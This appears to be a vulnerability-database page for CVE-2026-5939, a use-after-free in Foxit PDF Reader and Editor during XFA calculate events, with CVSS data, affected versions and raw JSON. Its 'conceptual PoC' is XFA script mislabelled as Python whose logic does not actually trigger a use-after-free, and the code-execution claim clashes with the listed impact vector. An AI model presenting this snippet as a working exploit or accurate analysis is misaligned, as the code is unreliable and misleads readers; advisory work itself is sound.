Security Vulnerability Report
中文
CVE-2026-5939 CVSS 5.5 MEDIUM

CVE-2026-5939

Published: 2026-04-27 12:16:24
Last Modified: 2026-04-29 17:28:10
Source: 14984358-7092-470d-8f34-ade47a7658a2

Description

A crafted XFA PDF can trigger a use-after-free condition during calculate event processing, causing the application to crash and resulting in an arbitrary code execution.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:* - VULNERABLE
Foxit PDF Reader < 2026 (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Conceptual PoC for XFA UAF in Foxit Reader --> <!-- This XML structure is embedded within the XFA stream of a PDF --> <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <template xmlns="http://www.xfa.org/schema/xfa-template/3.3/"> <subform name="form1"> <field name="vulnerableField"> <event activity="calculate"> <script contentType="application/x-javascript"> // Trigger the vulnerability by manipulating objects // during the calculate event which leads to UAF var obj = this.resolveNode("targetObj"); // Logic to force free obj.dataNode = null; // Use-after-free access attempt var exploit = obj.dataNode.loadXML("malicious_payload"); </script> </event> </field> </subform> </template> </xdp:xdp>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5939", "sourceIdentifier": "14984358-7092-470d-8f34-ade47a7658a2", "published": "2026-04-27T12:16:24.263", "lastModified": "2026-04-29T17:28:10.207", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A crafted XFA PDF can trigger a use-after-free condition during calculate event processing, causing the application to crash and resulting in an arbitrary code execution."}], "metrics": {"cvssMetricV31": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0", "versionEndExcluding": "14.0.4", "matchCriteriaId": "6C4B8779-474C-43FC-B02E-3754BFAB2432"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.0.0", "versionEndExcluding": "2026.1.1", "matchCriteriaId": "D3D204C5-D29B-4341-B48E-6F634E41126E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.1.1", "matchCriteriaId": "C18DA4A1-62E6-4734-840D-B5280B765A9E"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "14984358-7092-470d-8f34-ade47a7658a2", "tags": ["Vendor Advisory"]}]}}